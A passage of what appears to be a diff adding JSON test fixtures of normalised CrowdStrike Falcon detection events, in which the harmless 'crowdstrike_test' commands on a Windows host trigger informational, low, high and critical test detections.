"GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "cmd.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10307", + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 10, + "SeverityName": "Informational", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 2021281, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-15T10:30:48.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_informational\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760\",\"DataDomains\":\"Endpoint\",\"Description\":\"An informational level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_medium\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"d53f596e5ea7117ac18aae9f9bd8a481\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_low\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43450917603,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10307,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43455859437,\"ProcessStartTime\":1752575381,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575448000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021281,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "d53f596e5ea7117ac18aae9f9bd8a481", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "name": "dave-win10-3" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "cmd", + "crowdstrike_test_informational" + ], + "command_line": "cmd crowdstrike_test_informational", + "entity_id": "43455859437", + "executable": "cmd", + "name": "cmd.exe", + "parent": { + "args": [ + "cmd", + "crowdstrike_test_low" + ], + "command_line": "cmd crowdstrike_test_low", + "entity_id": "43450917603", + "executable": "cmd", + "pid": 43450917603 + }, + "pid": 43455859437, + "start": "2025-07-15T10:29:41.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682", + "d53f596e5ea7117ac18aae9f9bd8a481" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "name": "Suspicious Activity" + }, + "source": { + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Falcon Overwatch" + ] + }, + "technique": { + "name": [ + "Malicious Activity" + ] + } + }, + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2025-07-15T10:30:34.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776", + "DataDomains": "Endpoint", + "Description": "A low level detection was triggered on this process for testing purposes.", + "GrandparentCommandLine": "cmd crowdstrike_test_high", + "GrandparentImageFileName": "cmd.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "cmd.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10306", + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 30, + "SeverityName": "Low", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 2021280, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-15T10:30:34.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_low\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776\",\"DataDomains\":\"Endpoint\",\"Description\":\"A low level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd crowdstrike_test_high\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"86920ea0b350c9a3e3752a6aba6e1143\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_medium\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43448891811,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10306,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43450917603,\"ProcessStartTime\":1752575368,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575434000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021280,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43450917603-10306-1941776?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "86920ea0b350c9a3e3752a6aba6e1143", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "name": "dave-win10-3" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "cmd", + "crowdstrike_test_low" + ], + "command_line": "cmd crowdstrike_test_low", + "entity_id": "43450917603", + "executable": "cmd", + "name": "cmd.exe", + "parent": { + "args": [ + "cmd", + "crowdstrike_test_medium" + ], + "command_line": "cmd crowdstrike_test_medium", + "entity_id": "43448891811", + "executable": "cmd", + "pid": 43448891811 + }, + "pid": 43450917603, + "start": "2025-07-15T10:29:28.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", + "86920ea0b350c9a3e3752a6aba6e1143" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "name": "Suspicious Activity" + }, + "source": { + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Falcon Overwatch" + ] + }, + "technique": { + "name": [ + "Malicious Activity" + ] + } + }, + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2025-07-15T10:30:21.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824", + "DataDomains": "Endpoint", + "Description": "A high level detection was triggered on this process for testing purposes.", + "GrandparentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ", + "GrandparentImageFileName": "cmd.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "cmd.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10304", + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 70, + "SeverityName": "High", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 2021278, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-15T10:30:21.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_high\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824\",\"DataDomains\":\"Endpoint\",\"Description\":\"A high level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"099d5a3c2f87817751337a9cf8d6a70b\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd crowdstrike_test_critical\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43444774922,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10304,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43447659975,\"ProcessStartTime\":1752575345,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":70,\"SeverityName\":\"High\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575421000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021278,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43447659975-10304-1911824?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "099d5a3c2f87817751337a9cf8d6a70b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "name": "dave-win10-3" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "cmd", + "crowdstrike_test_high" + ], + "command_line": "cmd crowdstrike_test_high", + "entity_id": "43447659975", + "executable": "cmd", + "name": "cmd.exe", + "parent": { + "args": [ + "cmd", + "crowdstrike_test_critical" + ], + "command_line": "cmd crowdstrike_test_critical", + "entity_id": "43444774922", + "executable": "cmd", + "pid": 43444774922 + }, + "pid": 43447659975, + "start": "2025-07-15T10:29:05.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", + "099d5a3c2f87817751337a9cf8d6a70b" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "name": "Suspicious Activity" + }, + "source": { + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Falcon Overwatch" + ] + }, + "technique": { + "name": [ + "Malicious Activity" + ] + } + }, + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2025-07-15T10:30:10.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528", + "DataDomains": "Endpoint", + "Description": "A critical level detection was triggered on this process for testing purposes.", + "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", + "GrandparentImageFileName": "explorer.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "cmd.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternId": "10303", + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 90, + "SeverityName": "Critical", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Type": "ldt" + }, + "metadata": { + "customerIDString": "e880572ce33c42458b31e0dd368497fc", + "eventType": "EppDetectionSummaryEvent", + "offset": 2021272, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, standard detection.", + "category": [ + "malware" + ], + "created": "2025-07-15T10:30:10.000Z", + "kind": "alert", + "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_critical\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528\",\"DataDomains\":\"Endpoint\",\"Description\":\"A critical level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"bd5bfe63bc48507039f7e3afa5b01a70\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10303,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43444774922,\"ProcessStartTime\":1752575334,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":90,\"SeverityName\":\"Critical\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575410000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021272,\"version\":\"1.0\"}}", + "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "severity": 99, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "bd5bfe63bc48507039f7e3afa5b01a70", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "name": "dave-win10-3" + }, + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "cmd", + "crowdstrike_test_critical" + ], + "command_line": "cmd crowdstrike_test_critical", + "entity_id": "43444774922", + "executable": "cmd", + "name": "cmd.exe", + "parent": { + "args": [ + "\"C:\\Windows\\system32\\cmd.exe\"" + ], + "command_line": "\"C:\\Windows\\system32\\cmd.exe\"", + "entity_id": "43425257674", + "executable": "\"C:\\Windows\\system32\\cmd.exe\"", + "pid": 43425257674 + }, + "pid": 43444774922, + "start": "2025-07-15T10:28:54.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", + "bd5bfe63bc48507039f7e3afa5b01a70" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "name": "Suspicious Activity" + }, + "source": { + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "name": [ + "Falcon Overwatch" + ] + }, + "technique": { + "name": [ + "Malicious Activity" + ] + } + }, + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2025-07-15T10:30:04.000Z", + "crowdstrike": { + "event": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43448891811-10305-1929744", + "DataDomains": "Endpoint", + "Description": "A medium level detection was triggered on this process for testing purposes.", + "GrandparentCommandLine": "cmd crowdstrike_test_critical", + "GrandparentImageFileName": "cmd.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentImageFileName": "cmd.exe", + "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + 